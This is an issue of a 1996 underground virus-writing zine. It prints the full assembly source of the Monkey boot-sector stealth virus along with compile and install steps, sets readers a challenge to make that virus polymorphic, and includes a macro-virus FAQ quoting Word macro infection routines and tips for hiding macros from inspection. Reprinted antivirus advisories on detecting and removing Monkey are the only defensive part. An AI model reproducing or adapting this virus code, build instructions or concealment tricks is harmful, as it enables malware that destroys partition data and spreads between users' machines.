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The VBB Mag Issue 2
----------- June 21, 96
Contents:
File Infector Section:
- ----------------------
000 -You're reading it!
001 -What's Up?
002 -Subst Safety Issues
003 -Virus Special! THe Monkey Virus
004 -This Issues Virus Challenge
ASM -Undetectable Virus! Marauder Virus Source Code!
Macro Virus Section:
- --------------------
005 -The Underground Virus FAQ
006 -Macro Virus Spotlight! The Xenixos (Nemesis) Virus
007 -Macro Special! New and Undetectable Macro Virus!
Staff:
Dark Night(Me!) -Editor, Virus Supply, Virus Definitions, ...
Aurodreph -Co-Editor, Virus Supply, Macro Virus Specialist,
Mag Distribution, ...
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What's Up?
----------
It hasn't been very long since the last issue of this mag and there really
hasn't been a lot of things to write about. But let me list what little has
happened.
We have a new member!!! ---->Aurodreph
He knows a lot about macro virii which caused me to give him the job of writing
the macro virus articles. Also he will distribute this mag on various BBS's
in France. Welcome aboard Aurodreph!!
Mag Stuff
---------
As usual at this point I will ask you to please contribute to this mag. You
don't have to be a member to contribute articles or virii. I would really
like to get some people involved in this mag. So please submit your
articles to me at 101546.2222@compuserve.com!
Dark Night
Macro Stuff
-----------
Hi,
Yes, I write some articles for the mag... about macro virus... Because I
study this type of virus, and I write some "interesting" macros.
I want to update the underground FAQ with the new virus macro..
For the next issue, U heard about new macro virus like DIVINA, ANTI-DMV
and NOP. So if you have more informations, please help me... :-)
Aurodreph
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Virii and Safety
----------------
I'm one of the people who really enjoy downloading and playing with virii.
SInce I have no idea of what some virii do, I don't want them to infect my
Hard drive. So to prevent them from doing so I always issue the following
commands:
subst D: A:\
subst C: A:\
These commands redirect all accesses to my D and C drive(My 2 HD's) to the A
drive. I have found this method 100% safe. But recently I have gotten
complaints by people who tested the infections and then took off the subst
commands to avoid restarting the computer.
Subst commands can be removed by using the following command line:
subst D: /d
subst C: /d
Before they did this they didn't think that the virus may be resident which
will consequently result in HD or MBR/BR infections. So please when you
use these commands when playing with your computer it is always wise to use
a COLD boot to remove the virus from memory.
If you are more paranoid, you can use a little soft like WPHD that prevents
any access to your hard-drive for writing or formatting. Interesting :-))).
Be careful not to use it with Windows...because it makes lot of accesses to
your HD and will present millions of errors...
Dark Night
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Virus Spotlight! The Monkey Virus.
-----------------------------------
I have included the Monkey Virus in this issue for its innovative infection
capabilities. It moves your partition table whic makes it only readable
when the virus is in memory. This makes the disinfection very hard.
For more info see the summaries at the end of this source code. Note: The
code is totally messed up when reading this file with Notepad. So please use
the Dos Editor or Write.
page 70,80
Name Monkey
;*******************************************************
;
; Monkey written at the city of champions
; - Edmonton - by UACVRS - Jan 1992.
;
; Monkey is a full stealth MBR/Boot self-replicating program with
; no payload but it does not save the HD's partition
; table in place. When the "infected" computer is booted
; from a floppy, c: drive will no longer be accessible.
;
; To compile: masm monkey (we used MASM 5.0)
; link monkey
; exe2bin monkey.exe monkey.co
; Use NU, or debug to copy monkey.co to the boot
; sector of a floppy. The diskette will not boot
; but will install itself on the hard drive.
;
; Bug: It will trash any floppies higher than
; 1.44meg, not deliberately.
;
;*******************************************************
Code Segment
Assume CS:Code,DS:CODE,ES:CODE
ORG 00H
MAIN:
JMP INITIAL
; space above 1fh is for floppy format data
ORG 1FH
INT_13 EQU THIS BYTE
PUSH DS
PUSH SI
PUSH DI
PUSH AX
PUSH CX
PUSH DX
CALL SET_HEAD
CMP AH,02H
JNZ END_ACTION
PUSH DX
SUB AX,AX
INT 1AH
TIME EQU $ + 2
CMP DL,40H
POP DX
JNB END_ACTION
CALL HANDLE_DISK
END_ACTION:
POP DX
POP CX
POP AX
POP DI
PUSH DX
PUSH CX
PUSH AX
CMP CX,03H ; YES, IS SECTOR LESS THAN 3?
JNB EXIT_2 ; NO, EXIT
CMP DH,BYTE PTR DS:[SI] ; Right head?
JNZ EXIT_2 ; NO, EXIT
CMP AH,02H ; READ ?
JZ STEALTH ; YES, STEALTH
CMP AH,03H ; WRITE ?
JNZ EXIT_2 ; NO, EXIT
; YES!
CMP DL,80H ; HARD DRIVE?
JB EXIT_2 ; NO, EXIT
SUB AH,AH ; else RESET DISK - make HD light blink
JMP SHORT EXIT_2 ; EXIT
STEALTH:
CALL INT13 ; READ
JB EXIT_3 ; ERROR?
CALL COMP_SIG ; MY RELATIVE?
JZ REDIRECT ; YES, REDIRECT
CALL COMP_PA ; NO, IS IT PA?
JZ REDIRECT ; YES, REDIRECT
EXIT_0:
CLC ; NO, RESET FLAG
JMP SHORT EXIT_3 ; EXIT
REDIRECT:
CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL
MOV DH,BYTE PTR DS:[SI+1] ; SET RIGHT HEAD
POP AX ; RESTORE AX
CALL INT13 ; RE-READ
CALL ENCRPT_PBR
POP CX ; RESTORE CX, DX
POP DX
JMP SHORT EXIT_4 ; EXIT
EXIT_2:
CALL INT13
EXIT_3:
POP DS
POP DS
POP DS
EXIT_4:
POP SI
POP DS
RETF 0002H
READ_SEC_1:
MOV AX,0201H ; READ
INT13 PROC NEAR
PUSHF
CALL DWORD PTR CS:INT13_ADDR ;***********
RET
INT13 ENDP
HOOK_ENTRY EQU THIS BYTE
HOOK:
INT 12H
MOV SI,004CH
PUSH SI
CMP BYTE PTR CS:HOME_SEC,02H ; I am in sector 2?
JZ SETUP_SPECIAL
SETUP_NORMAL:
CALL SHIFT_NORMAL
MOV DI,OFFSET INT13_ADDR
MOV CX,0002H
CLD
REPZ MOVSW
JMP SHORT STORE_SEGMENT
SETUP_SPECIAL:
CALL SHIFT_SPECIAL
STORE_SEGMENT:
POP SI
MOV WORD PTR DS:[SI],OFFSET INT_13 ; STORE MY ENTRY POINT
MOV DS:[SI+2],AX ; STORE MY SEGMENT
PATCH_OVER:
PUSH CS
POP DS
CALL PATCH ; PATCH OVER
PUSH ES ; PUSH SEGMENT
MOV AX,OFFSET JMP_ADDR
PUSH AX ; PUSH ADDRESS
STI
RETF ; FAR JMP
JMP_ADDR EQU THIS BYTE
BOOT:
MOV ES,CX
MOV BX,SP ; TO 0000:7C00
PUSH CX ; SAVE JMP SEGMENT
PUSH BX
MOV DX,0080H ; HANDLE C:
CALL SET_HEAD
CALL HANDLE_DISK
BOOT_SEC EQU $ + 1
MOV CL,05H ; FROM SECTOR 3 ????
BOOT_DISK EQU $ + 1
MOV DX,0100H ; C:, HEAD 0 ????
CALL READ_SEC_1 ; INT 13
CALL ENCRPT_PBR
RETF
HANDLE_DISK PROC NEAR
; *** READ SECTOR 1 ***
SUB CX,CX
INC CX
PUSH CX
MOV DH,[SI] ; HEAD
CALL READ_SEC_1 ; INT 13
JB END_HANDLE_DISK ; ERROR -> END
; *** COMPARE ***
CALL COMP_SIG
JZ E_2 ; SAME -> UPDATE MYSELF
; *** PA? ***
CALL COMP_PA ; Is it Pagett's disksec?
JNZ UPDATE_DISK ; NO
; *** OK? ***
INC CX
CMP WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set
; to 0 means disksec would not do
; checksum of partitions - Pagett
; sucks
JZ E_2 ; SAME -> UPDATE MYSELF
MOV WORD PTR ES:[BX+1FAH],00H ; set this to zero
MOV CL,1H ; write the change back to sector 1
CALL WRITE_SEC_1 ;
JB END_HANDLE_DISK
; *** YES! READ SECTOR 2 ***
INC CX ; yes,Pagette 's disksecure is on sector 1
MOV DH,[SI+2] ; My relative is on sector 2 - read sector 2
CALL READ_SEC_1 ; INT 13
JB END_HANDLE_DISK ; ERROR -> END
POP AX
PUSH CX
UPDATE_DISK:
CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL
CALL ENCRPT_PBR
INC SI
CALL WRITE_SEC_1
DEC SI
JB END_HANDLE_DISK
CALL ENCRPT_PBR
PUSH CX
CALL PATCH
POP CX
PUSH DX
CMP DL,80H
JNB E_1
XOR DL,DL
E_1:
MOV WORD PTR ES:[BX+BOOT_DISK],DX
POP DX
MOV BYTE PTR ES:[BX+BOOT_SEC],CL
POP CX
PUSH CX
MOV BYTE PTR ES:[BX+OFFSET HOME_SEC],CL
MOV WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H
E_2:
CALL WRITE_SEC_1
END_HANDLE_DISK:
POP AX
RET
HANDLE_DISK ENDP
WRITE_SEC_1 PROC NEAR
MOV DH,[SI]
WRITE_SEC_2:
MOV AX,0301H
CALL INT13
RET
WRITE_SEC_1 ENDP
COMP_SIG PROC NEAR
CMP ES:[BX+OFFSET PROG_SIG],9219H
RET
COMP_SIG ENDP
COMP_PA PROC NEAR
CMP WORD PTR ES:[BX+119H],6150H ; PA?
RET
COMP_PA ENDP
HOME_SEC DB 01H
FLOPPY_HEAD DB 00H,01H,01H
HARD_HEAD DB 00H,00H,00H
; 360 720 1.2 1.44
FLOP_SECT_TABLE DB 02H,05H,09H,0BH
SAVE_SECT_TABLE DB 03H,05H,0EH,0EH
CHSEC PROC NEAR
PUSH DI
PUSH SI
MOV AL,ES:[BX+14H]
MOV CX,0004H
CHSEC_1:
MOV SI,CX
DEC SI
CMP FLOP_SECT_TABLE[SI],AL
JZ CHSEC_END_1
LOOP CHSEC_1
MOV CL,03H
JMP SHORT CHSEC_END_2
CHSEC_END_1:
MOV CL,SAVE_SECT_TABLE[SI]
CHSEC_END_2:
POP SI
POP DI
RET
CHSEC ENDP
SHIFT_NORMAL PROC NEAR
; FIND THE SEGMENT TO HIDE
DEC AX
MOV DS:[413H],AX
SHIFT_SPECIAL:
MOV CL,06H
SHL AX,CL
ADD AL,20H
MOV ES,AX
RET
SHIFT_NORMAL ENDP
PATCH PROC NEAR ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13
PUSH SI
MOV DI,BX
MOV SI,OFFSET INT_13
ADD DI,SI
; CLD
MOV CX,OFFSET PROG_END - OFFSET INT_13
REPZ MOVSB
PATCH_JMP:
MOV DI,BX
SUB SI,SI
MOV CL,3H
REPZ MOVSB
POP SI
RET
PATCH ENDP
SET_HEAD PROC NEAR
PUSH CS
POP DS
MOV SI,OFFSET FLOPPY_HEAD
CMP DL,80H
JB SET_HEAD_EXIT
MOV SI,OFFSET HARD_HEAD
SET_HEAD_EXIT:
RET
SET_HEAD ENDP
INITIAL:
CLI
SUB BX,BX
MOV DS,BX
MOV SS,BX
MOV SP,7C00H
JMP HOOK
NOP
NOP
ENCRPT_PBR:
PUSH DI
PUSH CX
PUSH AX
MOV DI,BX
MOV CX,200H
CLD
ENCRPT_1:
MOV AL,ES:[DI]
ENCRPT_CODE EQU $ + 0001H
XOR AL,2EH
STOSB
LOOP ENCRPT_1
POP AX
POP CX
POP DI
RET
ORG 01F4H
;PROG_NAME DB "Monkey"
PROG_NAME DB 6dh,8fh,8eh,8bh,85h,99h
ORG 01FAH
PROG_SIG DB 19H,92H
PROG_END EQU THIS BYTE
ORG 01FCH
INT13_ADDR DB 00H,00H
ORG 01FEH
BOOT_SIG DB 55H,0AAH
PROG_TAIL EQU THIS BYTE
PROG_LEN EQU OFFSET PROG_END - OFFSET INT_13
CODE ENDS
END MAIN
; from U of A
NEW COMPUTER VIRUS THREAT Posted: July 9, 1992
MONKEY VIRUSES ON PCs
The Monkey viruses are main boot record/boot sector infectors,
derived from the Empire D virus. Two variants of the Monkey virus
have been identified. Of particular concern is the fact these
viruses can infect computers protected by the Disk Secure program,
while causing no noticeable changes. Symptoms of infection for
those computers without Disk Secure include memory reduction and
hard drive partitions which are not accessible when booting up
with a floppy disk. When the viruses are active on computers
without Disk Secure, total memory will be reduced by 1,024 bytes.
Monkey viruses destroy partition table data. If an infected system
is booted up from a clean boot disk, DOS claims to be unable to
access the hard drive partitions. A DIR C: command will return the
message, "Invalid drive specification."
Detection
The simplest method of detection involves recognizing a 1K
decrease in memory. The DOS commands CHKDSK and MEM will return 1K
less "total conventional memory" than is normal.
Of the popular virus scanning products, only F-PROT version 2.04A
finds the Monkey viruses, calling them a "New variant of Stoned."
It will identify the virus in memory as well. The F-PROT Virstop
driver does not recognize the Monkey viruses on boot-up.
Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSEC
program that will notice the presence of the Monkey viruses. Note
that Disk Secure itself will not detect the infection: it is
important that the CHKSEC command be called from the autoexec.bat
file.
As well, a special program to find and remove the Monkey viruses,
called KILLMONK, has been written at the University of Alberta.
Removal
To clean a hard disk: If you have previously saved a copy of the
clean main boot record (MBR), then this can be restored. (Many
anti-virus products have an automated way of doing this.) If you
don't have a copy of the original MBR, and don't know what values
your partition table should have, then the KILLMONK program will
restore the partition table for you.
To restore diskettes: Use the KILLMONK program.
The newest version of F-PROT (version 2.04A) and the KILLMONK
program, are both available, free of charge, from Computing and
Network Services. Bring a formatted diskette to the Microcomputer
Demonstration Centre (MDC), in the basement of the Bookstore, or a
ready-made diskette can be purchased for $2.00 from the CNS User
Support Centre at 302 General Services Building. These programs
can also be downloaded from the MTS account VIR.
;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences)
Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC)
Date: 20 Jul 92 09:10:09 GMT
Virus Name: MONKEY.1, MONKEY.2 (Empire variants)
V Status: New
Discovery: February, 1992
Symptoms: Memory reduction, hard drive partitions not accessible on
floppy bootup.
Origin: Alberta, Canada
Eff. Length: 512 bytes
Type Code: BPRtS (Boot and Partition table infector - Resident TOM -
Stealth)
Detection: CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONK
Removal: Cold boot from clean, write-protected floppy, replace MBR
(hard
disk) or Boot Sector (floppy).
General Comments:
The Monkey viruses are Main Boot Record / Boot Sector infectors,
derived from the Empire D virus. Two variants of the Monkey virus
have been identified: their most obvious difference is in the initial
bytes at offset 0:
Monkey.1: E9 CD 01 (JMP 02D0)
Monkey.2: EB 1E 90 (JMP 0020 ; NOP)
Both variants keep the original sector's data at offset 03h - 1fh. In
boot sectors, this region contains data required to identify the
diskette format. This solves the problem noticed with earlier
variants of Empire, whereby infected 720k diskettes were sometimes
unreadable.
The Monkey viruses take 1k from the top of memory. When active, total
memory will be reduced by 1024 bytes.
The Monkey viruses use stealth to protect both the MBR and diskette
boot sectors. When active in memory, Int 13h calls cannot access the
infected sector of either hard disks or floppies.
The Monkey viruses are not polimorphic. They do not encode any of the
virus, as was done by some of the earlier Empire variants. But before
saving the clean MBR or boot sector to a hiding place, the Monkey
viruses do encode that sector, using an "XOR 2Eh". This creates a
problem for any disinfecting program that recover the initial boot
sector or MBR by copying it from the hiding place.
When a hard disk is infected, the encoded MBR is put at side 0,
cylinder 0, sector 3.
When a floppy diskette is infected, the original boot sector is placed
in the bottom sector of the root directory. This means directory
entries will be lost only if the root directory is nearly full -- more
than 96 entries on double density diskettes, or more than 208 entries
on high density diskettes. The virus is designed to identify only the
four most common diskette formats. If the diskette is not of a
recognized format, the boot sector is put on side 1, sector 3. I have
no idea what would happen to a 2.88Mb diskette, but I suspect the
virus would damage the File Allocation Table, causing loss of data.
The Monkey viruses do not put any messages to the screen at any time,
but the virus code does contain, encrypted, the string "Monkey",
followed by bytes 1992h. It may be significant that the chinese Year
of the Monkey began in February 1992.
The most remarkable characteristic of the Monkey viruses is that they
were designed as an attack on Padgett Peterson's "Disk Secure"
product. When a computer is booted from an infected diskette, the
virus first checks whether Disk Secure is on the hard disk. If it is,
the virus puts itself in sector 2, rather than sector 1, and slightly
modifies Disk Secure, so that Disk Secure will load the virus after
Disk Secure has checked the system and loaded itself. The monkey
viruses install themselves and above Disk Secure, in memory, at offset
200h.
The Monkey viruses do not save the partition table data in place, so
if an infected system is booted from a clean boot disk, DOS claims to
be unable to access the hard drive partitions. A DIR C: command will
return "Invalid drive specification".
Detection:
Of the popular virus scanning products, only F-PROT 2.04 finds the
Monkey viruses, calling them a "New variant of stoned". It will
identify the virus in memory as well. The F-PROT Virstop driver does
not recognise the Monkey viruses, on boot-up.
Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that will
notice the presence of the Monkey viruses. Notice that Disk Secure
itself will not detect the infection: it is important that the CHKSEC
command be called from the autoexec.bat file.
The simplest detection still involves recognizing a 1k decrease in
memory. CHKDSK and MEM will return 1k less "total conventional
memory" than normal.
A special program to find and remove the Monkey viruses, called
KILLMONK, has been written at the University of Alberta. I hope to
make this available to the anti-virus community shortly.
Removal:
The undocumented /MBR option of FDISK does remove the Monkey virus
from the MBR, provided the computer was booted from a clean floppy,
but it does not restore the correct partition table values. The
problem is that the partition table is not in place in sector one: the
table is encoded, in sector 3.
To clean a hard disk: If you have previously saved a copy of the clean
MBR, then this can be restored. (Many anti-virus products have an
automated way of doing this.) If you don't have a copy of the
original MBR, and don't know what values your partition table should
have, then the KILLMONK program may be what you need.
To restore diskettes: Padgett Peterson's FIXFBR works very well,
though it doesn't recognize that the disk is infected. Another
alternative is the KILLMONK program.
Scan String:
The following hexidecimal string is in both variants of Monkey. It is
from the code the virus uses to recognize itself.
26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61
Tim
; From F-PROT
Name: Monkey
Type: Boot MBR Stealth
The Monkey virus was first discovered in Edmonton, Canada, in the
year 1991. The virus spread quickly to USA, Australia and UK.
Monkey is one of the most common boot sector viruses.
As the name indicates, Monkey is a distant relative of Stoned.
Its technical properties make it quite a remarkable virus,
however. The virus infects the Master Boot Records of hard disks
and the DOS boot records of diskettes, just like Stoned. Monkey
spreads only through diskettes.
Monkey does not let the original partition table remain in its
proper place in the Master Boot Record, as Stoned does. Instead
it moves the whole Master Boot Record to the hard disk's third
sector, and replaces it with its own code. The hard disk is
inaccesible after a diskette boot, since the operating system
cannot find valid partition data in the Master Boot Record -
attempts to use the hard disk result in the DOS error message
"Invalid drive specification".
When the computer is booted from the hard disk, the virus is
executed first, and the hard disk can thereafter be used
normally. The virus is not, therefore, easily noticeable, unless
the computer is booted from a diskette.
The fact that Monkey encrypts the Master Boot Record besides
relocating it on the disk makes the virus still more difficult to
remove. The changes to the Master Boot Record cannot be detected
while the virus is active, since it rerouts the BIOS-level disk
calls through its own code. Upon inspection, the hard disk seems
to be in its original shape.
The relocation and encryption of the partition table render two
often-used disinfection procedures unviable. One of these is the
MS-DOS command FDISK /MBR, capable of removing most viruses that
infect Master Boot Records. The other is using a disk editor to
restore the Master Boot Record back on the zero track. Although
both of these procedures destroy the actual virus code, the
computer cannot be booted from the hard disk afterwards.
There are five different ways to remove the Monkey
virus:
o The original Master Boot Record and partition table can
be restored from a backup taken before the infection.
Such a backup can be made by using, for example, the
MIRROR /PARTN command of MS-DOS 5.
o The hard disk can be repartitioned by using the FDISK
program, after which the logical disks must be formatted.
All data on the hard disk will consequently be lost,
however.
o The virus code can be overwritten by using FDISK/MBR, and
the partition table restored manually. In this case, the
partition values of the hard disk must be calculated and
inserted in the partition table with the help of a disk
editor. The method requires expert knowledge of the disk
structure, and its success is doubtful.
o It is possible to exploit Monkey's stealth capabilities
by taking a copy of the zero track while the virus is
active. Since the virus hides the changes it has made,
this copy will actually contain the original Master Boot
Record. This method is not recommendable, because the
diskettes used in the copying may well get infected.
o The original zero track can be located, decrypted and
moved back to its proper place. As a result, the hard
disk is restored to its exact original state. F-PROT uses
this method to disinfect the Monkey virus.
It is difficult to spot the virus, since it does not activate in
any way. A one-kilobyte reduction in DOS memory is the only
obvious sign of its presence. The memory can be checked with, for
instance, DOS's CHKDSK and MEM programs. However, even if MEM
reports that the computer has 639 kilobytes of basic memory
instead of the more common 640 kilobytes, it does not necessarily
mean that the computer is infected. In many computers, the BIOS
allocates one kilobyte of basic memory for its own use.
The Monkey virus is quite compatible with different diskette
types. It carries a table containing data for the most common
diskettes. Using this table, the virus is able to move a
diskette's original boot record and a part of its own code to a
safe area on the diskette. Monkey does not recognize 2.88
megabyte ED diskettes, however, and partly overwrites their File
Allocation Tables.
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The 2nd Annual Virus Challenge
------------------------------
Well, it's time again for a new Virus challenge. As you have probably seen
I included the Monkey Virus source in this issue. In the description after
the source there was mention of the virus not being polymorphic. So
after seeing that I got the idea for this virus challenge. With this
mag you recived the Polymorphic Mutation Engine for the virus challenge. So
as you can guess your challenge is to make the monkey virus polymorphic with
or without the help of of the MTE.
Dark Night
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--------------------------------------------------------------
The UNDERGROUND
MS WORD 6.x MACRO VIRUSES FAQ V2.0
<Frequently Asked Questions>
By ,
<****{=============-
' AuRoDrEpH, the Drow
--------------------------------------------------------------
"Help to MICROFUCK WORD."
--------------------------------------------------------------
--------------------------------------------------------------
TOPIC 1 : WHAT IS A WORD MACRO VIRUS?
=========================================
A WORD MACRO Virus, is a macro <list of instructions> or template file
<usually with the .DOT extension> which masquerades as legitimate MS WORD
documents <usually with the extension *.DOC>. An infected *.DOC file,
doesn't look any different to the average PC user, as it can still contain
a normal document. The difference is that this document is really just a
template or macro file, with instructions to replicate, and possibly cause
damage. MS WORD will interpret the *.DOT macro/template file regardless of
extension, as a template file. This allows for it being passed off as a
legitimate document <*.DOC> This FAQ takes the position that a document is
meant to be DATA, and a MACRO is at least a partially executable CODE. When
a document has been infected, it has been merged with executable code in a
multi-part file, part data/part executable. This tends to be hidden from
the user, who expects a document to be data that is READ, and not some
combination of DATA and executable code designed to be executed, often
against the will of the user, to wreck havok.
These viruses commonly tend to infected the global macros, which get
automatically saved at the end of each session. When the next session of
MS WORD opens, the infected Global Macros are executed, and the WORD
Environment is now infected, and will in turn be likely to infect documents
whenever they are opened, closed, and created during all future sessions.
As a Virus, the WORD MACRO VIRUSES do REPLICATE. They can spread in most
cases to any MS WINDOWS Environment or OS that runs a compatible copy of MS
WORD 6.x or 7.x, MS WORD 6.x running on OS/2, as well as WORD for MAC 6.0
for MacOS. This makes it a multi-platform/multi-OS file infector. It also
makes it one of the first non-research viruses to be successfully spread to
all of these environments and OS's
MS Word Macro Viruses reside in interpreted data that can spread to
different OS's/platforms. These viruses do not spread via modification of
executable machine code, but by modification of data in files that are
interpreted by the Microsoft Word 6.0 program and any other versions of
Word that support macros and WordBasic.
WordBasic Macro Language is much simpler to learn and master than
ASSEMBLER, or other popular higher Level programming languages, and for
this reason, Vx people <both new and old alike> have taken to it as a
viable alternative to learning and coding ASM . The thought of ticking
users off on more than one platform has been around for years, and now
thanks to MS WORD, and all it's compatible versions on other popular
platforms, the Vx people have their wish. Another Bonus of this new outlet
for Vx writers, is that many virus scanners only scan Executable files,
leaving the .DOC files of WORD alone. It is important to note that many AV
producers have now included scanners/cleaners to their software, allowing
for the detection of existing MS WORD Macro Viruses.
--------------------------------------------------------------
TOPIC 2: HOW STUDY A INFECTED DOCUMENT
=======================================
You are happy, :-) You find the latest macro virus. And now, you want to study
it, find the source code and modify it.
OK, I'll explain... it's very easy.
First of all, you make a copy of the NORMAL.DOT file (it's in the
MSOFFICE\WINWORD\MODELES).
In most case, the macro virus isn't dangerous, except for the trojan virus,
FORMATC. In fact, when you read the document, it formats C:. So, a good idea is
to run a TSR anti-virus like VIRSTOP.
Now, you launch the WORD application, and ...(it's the time to execute)...
then go to the menu TOOLS/OPTION and in the SAVE directory, click to select
the option (ask for saving NORMAL.DOT).
Then you take a look at the file with a hexeditor.
A word document is composed of a first part, the data (text), then
the macro and in the last part, the data (name of the file,...). OK. Find
the name of the document near the end... and look for a "U". if you see some
U's, this mean that the macros are encrypted. You will need more time to study
because when you copy a macro, WORD gives you the option to READONLY: you can
execute the macro, but you can't see the source...
If you take a look for the name, you can see the macro of all the macros
included in the file.
The name can give you a idea of what they do,... but be careful !!
Now, you open the infected document and see what it does. nothing ... It's
normal !! Go to the menu TOOLS/MACRO. You can see the name of the
macro(the same you see with the hexeditor)
IF you can use the Modify button, the macro is Execute-only...
THEN go to the TOPIC 4.
Else you read the script and keep what you want...
TOPIC 3: VIRUS EXAMPLES and what you can keep in mind
======================================================
I have studied some macro virus for you and I've commented them...
--------------------------------------------------------------
4.1: Concept Virus :
====================
Also known by the Aliases of WW6Macro, WinWord.Concept, Word Basic Macro
Virus (WBMV), Word Macro 9508 <MAC> and Prank Macro <MicroSoft named it
Prank, to downplay the seriousness of the situation>. This was the first
MS Macro Virus to be detected by the Anti-Virus community, and the first
Macro Virus to be considered in the wild, with infections spreading to the
US, UK, France, Germany, Bulgaria, Canada, the Netherlands, Turkey, and
Finland, and other Countries.
A CONCEPT Infection is easy to notice, on the first execution of the virus
infected document (on the first opening of the infected file) the
MessageBox appears with digit "1" inside, and "Ok" button. Also, simply
checking the TOOLS/MACROS option to check loaded macros, the presence of
concept is apparent by the appearance of these 5 macros :
AAAZFS *
AAAZAO *
AutoOpen
PayLoad *
FileSaveAs
The infection routine of this virus :
'see if we're already installed
For i = 1 To iMacroCount
If MacroName$(i, 0, 0) = "PayLoad" Then
bInstalled = - 1
End If
If MacroName$(i, 0, 0) = "FileSaveAs" Then
bTooMuchTrouble = - 1
End If
Next i
If Not bInstalled And Not bTooMuchTrouble Then
'add FileSaveAs and copies of AutoOpen and FileSaveAs.
'PayLoad is just for fun.
iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
sMe$ = FileName$()
sMacro$ = sMe$ + ":Payload"
MacroCopy sMacro$, "Global:PayLoad"
sMacro$ = sMe$ + ":AAAZFS"
MacroCopy sMacro$, "Global:FileSaveAs"
sMacro$ = sMe$ + ":AAAZFS"
MacroCopy sMacro$, "Global:AAAZFS"
sMacro$ = sMe$ + ":AAAZAO"
MacroCopy sMacro$, "Global:AAAZAO"
At the end of each Macrocopy, you put ,1 and you have Execute-Only macros...
just an idea :)
--------------------------------------------------------------
4.2: Nuclear :
==============
Known widely as Winword.Nuclear, Wordmacro-Nuclear and Wordmacro-Alert.
This virus was the first WordMacro virus to infect <or at least to attempt
to infect> both data/documents <Word Documents .DOT and .DOC> as well as
executables <.COM/.EXE/NEWEXE>
In truth, it is 2 viruses, a macro virus which alters the Operating
Environment of WORD, and an executable file infector <as well as a system
file deleter>. This makes NUCLEAR the first Macro Virus to also
incorporate, or at least try to incorporate a classic File Infector Virus.
This virus is actually quite ineffective in the destructive sense, detailed
later in this document. The infected documents contains the following nine
Macros...
AutoExec
AutoOpen
FileSaveAs
FilePrint
FilePrintDefault
InsertPayload *
Payload *
DropSuriv *
FileExit
which get copied into the GLOBAL Macro List.
General detection of NUCLEAR is easy, simply view the macros listed under
the Macros command under the Tools Menu. If Macros "InsertPayload",
"Payload", and "DropSuriv" are listed, then you'll likely have a NUCLEAR
infection. <unless you named legitimate macros with the same names... :) >
NUCLEAR hides itself from detection, by disabling the "PROMPT FOR CHANGES
TO NORMAL.DOT" option. Changes are made, and the user doesn't notice
anything.
The "InsertPayload" Macro will cause the following text to be added to the
end of printouts when printing documents. Every 12th printout will have the
following text added...
And finally I would like to say:
STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC!
which is appended to the file after the command to print is issued but
prior to the actual printing. FAX's sent via a FAX Print Driver will also
be affected, this much I know first hand. From testing, I came to the
realization that some Vx putz will start messing with my outgoing faxes
behind our backs.
Another included Macro, is "Payload" which tries to delete IO.SYS,
MSDOS.SYS and COMMAND.COM on April 5th. It is inaffective, as WordBasic
can't reset the attributes of a file which has the System attribute set.
It has been noted that a variant that does work is being circulated.
The Second part of the Nuclear Virus is the executable infector. The
DropSuriv Macro checks system time, and will attempt to drop the file
infector between 17:00/18:00. However, the routine is flawed, and
shouldn't work on any system. <fails due to a syntax error - not closed IF
statement, which makes this payload never executed> If DropSuriv DID work
properly, it would search for the standard DOS util DEBUG.EXE, if found,
the macro drops PH33r.SCR & EXEC_PH.BAT. The Bat File is executed, and
then the hex dump file PH33r.SCR is converted from a DEBUG script into an
executable, and is in turn executed. Later, the .SCR and the .BAT files
are deleted to cover its tracks. The File infector then hooks INT 21h and
writes itself at the end of COM/EXE/NewEXE files. <however, the memory is
released once this DOS task is completed, includes the memory resident
virus Ph33r> Unconfirmed reports state that a NUCLEAR infected Macro with a
fully operational DropSuriv Macro exist.
The following text strings are in the executable infector...
=Ph33r=
Qark/VLAD
The virus group VLAD publish it in the issue n4. (I think the entire version of
this virus So, found them on the Net.)
--------------------------------------------------------------
4.3: Colors:
=============
Colors, is the first WINWORD Macro Virus that could be called cute <IMHO>.
This Virus has the noticeable ability to alter the Windows colors settings.
If iModEvery = (iEvery - 1) Then
sColors$(0) = "Background"
sColors$(1) = "AppWorkspace"
...
sColors$(19) = "InactiveTitleText"
sColors$(20) = "ButtonHilight"
For i = 0 To 20
SetProfileString("colors", sColors$(i), Str$(Int(Rnd() * 256)) + " "
+ Str$(Int(Rnd() * 256)) + " " + Str$(Int(Rnd() * 256)))
Next i
End If
Mac Word is immune to the payload <the system colors attack> but is still
susceptable to the infection mechanism, which will attack documents.
Detection of infections is easy, as infected documents appear with the
template icon, rather than the usual document icon.
Commonly known as Rainbow or WordMacro.Colors, this virus was freely posted
to usenet newsgroups on October 14th, 1995. The Colors Virus will infect
the global template <usually NORMAL.DOT> upon opening of an infected
document. An infected document contains the following macros:
AutoOpen
AutoClose
AutoExec
FileNew
FileExit
FileSave
FileSaveAs
ToolsMacro, and other macros.
All Macros included in COLORS are Execute-Only, and cannot be viewed or
edited by MicroSoft Word. If normal "clean" macros with the same names
existed prior to infection, they will be overwritten by COLORS.
The AutoExec Macro of COLORS is an EMPTY Macro, possibly designed to defeat
any ANTI-MACRO-VIRUS schemes developed by the AV community. It
accomplishes this by overwriting a "CLEANING/SCANNER" AutoExec Macro with
COLORS empty one, effectively making the AV Scanner/Cleaner useless.
COLORS will also enable AutoMacros in case you were smart and disabled
them! It will also disable the MS Word's Prompt to save changes to
NORMAL.DOT.
[ OutilsOptionsEnregistrement .InviteGlobalDot = 0 ] Very interesting
COLORS is crafty, as it can spread without the use of AUTO macros... thus
defeating the DISABLE AUTOMACROS Feature. It does so via the Macros:
File/New
File/Save
File/SaveAs
File/Exit
Tools/Macro
COLORS will infect NORMAL.DOT whenever a user chooses any of the above
functions. It also has limited stealth ability, earning it the title of
